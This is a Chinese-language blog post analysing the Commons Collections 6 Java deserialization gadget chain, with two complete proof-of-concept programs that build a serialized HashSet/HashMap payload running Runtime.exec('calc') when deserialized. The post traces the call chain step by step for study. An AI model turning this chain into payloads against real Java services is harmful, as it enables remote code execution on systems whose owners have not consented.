Java安全之Commons Collections6分析
2022-06-05 00:31:07 # Java安全

前言

在CC6链中和CC5的利用链类似,只是CC6链中使用的是HashSet去触发LazyMap的get方法,而在CC5中使用的是BadAttributeValueExpException

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package cc6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC6 {

public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});

Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,Testtransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");

HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");

//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);

ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
objectOutputStream.writeObject(hashSet);
objectOutputStream.close();

ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
objectInputStream.readObject();

}
}

运行结果如下:

image-20220605003842219

前面的代码和cc1、cc5链一致,看下不同的地方。

1
2
3
4
HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令

使用的是HashSet来进行构造,将前面的TiedMapEntry实例化对象添加进去,还调用了lazyMap.remove方法将test1给移除,这是为了能进入到判断语句里面去。

image-20220605010413225

接下来进行调试分析,在HashSet#readObject()方法中打下断点

image-20220605010153640

HashsetreadObject方法中,回去调用mapput方法。

image-20220605010848871

这里调用的是Hashmapput方法,跟进一下该方法。

image-20220605010939375

方法中会调用hash()方法,跟进到hash()方法中,发现会调用key.hashCode()方法

image-20220605011123771

hashcode还会去调用getValue()方法

image-20220605011332786

进入getValue()方法,后续的分析就和cc5一致了

image-20220605011451491

利用链

1
2
3
4
5
HashSet.readObject->HashMap.put
->HashMap.hash->TiedMapEntry.hashCode
->TiedMapEntry.getValue->LazyMap.get
->ChainedTransformer.transform->InvokerTransformer.transform
->Runtime.exec

补充

poc2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package cc6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6Test {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
)
};
Transformer[] fakeTransformers = new Transformer[]{
new ConstantTransformer(1)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"test1");
Map expMap = new HashMap();

expMap.put(tiedMapEntry,"cc6");

outerMap.remove("test1");

Class clazz = Class.forName("org.apache.commons.collections.functors.ChainedTransformer");
Field field = clazz.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transformers);
byte[] bytes = serialize(expMap);
unserialize(bytes);
}
public static void unserialize(byte[] bytes) throws Exception{
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
oin.readObject();
}
}

public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}
}
}

参考

https://www.cnblogs.com/nice0e3/p/13892510.html

https://blog.csdn.net/rfrder/article/details/119739082